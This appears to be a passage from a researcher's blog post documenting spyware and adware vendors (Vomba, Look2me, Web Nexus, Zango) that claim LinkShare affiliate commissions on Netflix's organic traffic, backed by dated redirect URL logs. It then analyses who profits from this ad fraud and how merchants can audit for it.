Netflix has repeatedly promised to sever ties with spyware vendors, even claiming that incidents that I and others observed were “unique and random.” But through its LinkShare affiliate program, Netflix continues to get ripped off by spyware — needlessly paying commissions to receive the same kind of traffic Netflix long since promised to reject. This section and the three that follow shows four separate examples of such traffic.

In testing of April 11, my automated testing system browsed Netflix. AutoTester found traffic flowing from Vomba to LinkShare, then back to Netflix. URL log:

http://services.vombanetwork.com/vomba/popup.php
http://click.linksynergy.com/fs-bin/click?id=9SOCNdxbJKg&offerid=78684…
http://www.netflix.com/Signup?mqso=60187019&ls_sourceid=9SOCNdxbJKg-O9…

Example 4: Look2me, MyGeek (AdOn Network), Tcshoppingdeals, Apluswebdeals, and LinkShare

Look2me, MyGeek (AdOn Network), Tcshoppingdeals, Apluswebdeals, LinkShare Claiming Commissions on Netflix's Organic Traffic Look2me, MyGeek (AdOn Network), Tcshoppingdeals, Apluswebdeals, LinkShare Overcharging Netflix

In testing of April 25, my automated testing system browsed Netflix. AutoTester found traffic flowing from Look2me (from Minnesota-based NicTech Networks) (widely installed without consent) to MyGeek (AdOn Network of Phoenix, Arizona) to Tcshoppingdeals (purportedly of Buffalo, New York) to Apluswebdeals (location unknown) to LinkShare, then back to Netflix. See screenshot at right and video. URL log:

http://www.ad-w-a-r-e.com/cgi-bin/UMonitorV2
http://url.cpvfeed.com/cpv.jsp?p=110250&ip=…&url=http://www.netflix….
http://www.tcshoppingdeals.com/r/link.php?id=12
http://www.a-pluswebdeals.com/visit/featured/?id=6
http://click.linksynergy.com/fs-bin/click?id=7XxjiVPyR/A&offerid=78684…
http://www.netflix.com/Signup?mqso=60187019&ls_sourceid=7XxjiVPyR_A-Mp…

Example 5: Web Nexus, Mediatraffic, Ccg360, and LinkShare

Web Nexus, Mediatraffic, Ccg360, LinkShare Claiming Commissions on Netflix's Organic Traffic Web Nexus, Mediatraffic, Ccg360, LinkShare – Netflix

In testing of May 12, my automated testing system browsed Netflix. AutoTester found traffic flowing from Web Nexus (widely installed without consent) to Mediatraffic (one-and-the-same as Integrated Search Technologies and Vomba) to Ccg360 (purportedly Nelson Cheung of Markham, Canada) to LinkShare, and back to Netflix. See screenshot at right. URL log:

http://stech.web-nexus.net/cp.php?loc=295&cid=…
http://stech.web-nexus.net/mtraff.php/9951709/295/527/…
http://cpvfeed.mediatraffic.com/feed.php?ac=1239&kw=netflix&ip=…
http://cpvfeed.mediatraffic.com/redir.php?ac=1239&sac=&dat=…
http://netflix.med.ccg360.com
http://click.linksynergy.com/fs-bin/click?id=kic1Ixnq*SQ&offerid=…
http://www.netflix.com/Signup?mqso=60187019&ls_sourceid=kic1Ixnq.SQ-D…

Example 6: Zango, Roundads, and LinkShare

Zango, Roundads, LinkShare Claiming Commission on Netflix's Organic Traffic Zango, Roundads, LinkShare – Netflix

In testing of May 20, my automated testing system browsed Netflix. AutoTester found traffic flowing from Zango to Roundads to LinkShare and back to Netflix. See screenshot, video, and URL log:

http://tvf.zango.com/showme.aspx?…CD=www.netflix.com…
http://ads.roundads.com/ads/dvd.aspx?keyword=.netflix.com/Register
http://click.linksynergy.com/fs-bin/click?id=AnCa4QMGFR4&offerid=786…
http://www.netflix.com/Signup?mqso=60187019&ls_sourceid=AnCa4QMGFR4-…

In each of these four Netflix examples, spyware sent traffic to LinkShare and then onwards to Netflix — all predicated on users first requesting Netflix directly. So as in the two Blockbuster examples, the spyware provides no bona fide advertising benefit. Instead, the spyware vendors simply claim payments from Netflix without providing any service in return — a glaring reason why Netflix should refuse to pay them. Aside from reducing wasteful advertising spending, Netflix might also want to sever these relationships because the underlying spyware imposes serious costs on consumers: Sneaking onto users’ computers, reducing performance, and diminishing both reliability and privacy.

Netflix might reasonably blame LinkShare for the actions of these affiliates. LinkShare specifically touts its “high quality network” with “better affiliates,” whereas these affiliates are the very opposite of high quality. Furthermore, LinkShare prominently claims its service is “cost-efficient” — even as these examples entail Netflix paying for traffic it could have received for free.

Additional Examples on File

The preceding five examples are only a portion of my recent records of spyware advertising fraud and of other spyware advertising. My AutoTester collects dozens of examples per day, and I’ve documented literally hundreds of rogue affiliates during the past year — including dozens of affiliates through each of Commission Junction, LinkShare, and Performics, as well as various affiliates using smaller networks. Any affiliate merchant without a specific plan for detecting and blocking spyware-originating traffic is virtually certain to be receiving — and paying for — this bogus self-targeting spyware-originating traffic.

Winners and Losers

The clearest effect of self-targeting pop-ups is to overcharge merchants. Self-targeting pop-ups ask merchants to pay affiliate commissions on their organic traffic — traffic they should receive for free, thanks to advertising in other media, word of mouth, and repeat buyers. But if merchants fail to take action to protect themselves, they needlessly pay commissions on this organic traffic. Merchants then also pay affiliate network fees and, often, affiliate manager fees too — making the waste that much larger.

Secondarily, self-targeting pop-ups skim commissions from other affiliates. Consider a bona fide rule-following affiliate sending traffic to a targeted merchant. If a spyware self-targeting pop-up intercedes to drop its own affiliate cookies, it overwrites the cookies of the initial affiliate. Affiliate merchants pay commissions on a “last cookie wins” basis — so the first affiliate gets nothing, even though its link truly sent the user to the merchant’s site and actually put the sale in motion. (Examples: 1, 2, 3, 4)

But self-targeting does have beneficiaries. The clearest beneficiaries are the spyware vendors that show self-targeting pop-ups — whether showing these ads directly (with the spyware vendor acting as an affiliate) or indirectly (with some affiliate buying spyware traffic and sending it onwards to a network and a merchant). The resulting revenues fund spyware vendors’ infections, installations, and other expenses.

At least in the short run, self-targeting also benefits affiliate networks. Affiliate networks typically charge merchants a percentage of each commissionable sale. So the more commissions a merchant pays out, the higher the revenues of the merchant’s network. Self-targeting pop-ups convert non-commissionable organic traffic into supposedly-commissionable supposedly-affiliate-originating traffic — expanding networks’ fee base. In the long run, self-targeting fraud could reduce merchants’ interest in affiliate marketing, but in the short run it provides networks with additional revenue. This conflict surely explains at least a portion of networks’ failure to effectively eliminate self-targeting spyware. (Further discussion.)

Nonetheless, I’ve long thought that self-targeting and other spyware traffic present a substantial opportunity for networks seeking to offer increased value to sophisticated merchants. A savvy network could stand behind the quality of its affiliates, exercising real diligence in catching fraud and in protecting merchants from the risk of wasteful, unnecessary payments. Networks can implement protections more efficiently and at lower cost than merchants, because networks can kick out affiliates across their entire network, rather than merely from a single a single merchant’s program. That said, to date the largest three affiliate networks all still receive substantial spyware-originating traffic, including self-targeting traffic.

Revenue Counterfactual

The self-targeting profit opportunity ultimately arises out of mismeasurement of merchants’ own traffic. Networks’ tracking systems encourage merchants to consider the counterfactual labeled #1 in the diagram at right — comparing the sales they made (point C in the diagram) against the supposed counterfactual of not paying commissions and hence not receiving the specified sales (point A). That’s the right comparison for many kinds of advertising, but in these self-targeting examples, it’s entirely misguided. Here, the only appropriate comparison is #2 — comparing the sale that was made with payment of the specified commission (C), versus the very same sale without any commission (B). The difference is stark: In #1, the merchant is pleased to have made a sale at a reasonable marketing expense. But in #2, the true state of affairs, the merchant is paying out commissions without any business benefit whatsoever.

Responses & Next Steps

In Netflix’s 2007 Q1 earnings call, CFO Barry McCarthy noted that Netflix’s recent “word-of-mouth subscriber growth was weak.” There are multiple plausible explanations for that change, but advertising fraud is an important additional factor to consider: In the examples set out above, Netflix would mistakenly pay Look2me, Vomba, Web Nexus, and Zango even if a consumer in fact signed up thanks to a word-of-mouth recommendation rather than as a result of those vendors’ advertising. With marketing costs already consuming more than 23% of Netflix’s revenues, any reduction seems both overdue and welcome.

What will Netflix, Blockbuster, and other affiliate merchants do in response to these examples? One immediate action item is to sever their ties with the specific affiliates I have identified. Merchants could also demand repayment of any commissions previously paid out — a challenging task with small affiliates, but probably possible for some larger affiliates.

More generally, merchants must decide how to protect themselves from the many cheating affiliates not reported here. As usual (1, 2), I think the answer is auditing and enforcement. Merchants can run tests themselves, hire a consulting service (like AffiliateFairPlay), or build an automating testing system to find violations. But ignoring these scams is unpalatable because inaction means wasting merchants’ advertising budgets, penalizing rule-following affiliates, and helping support spyware vendors.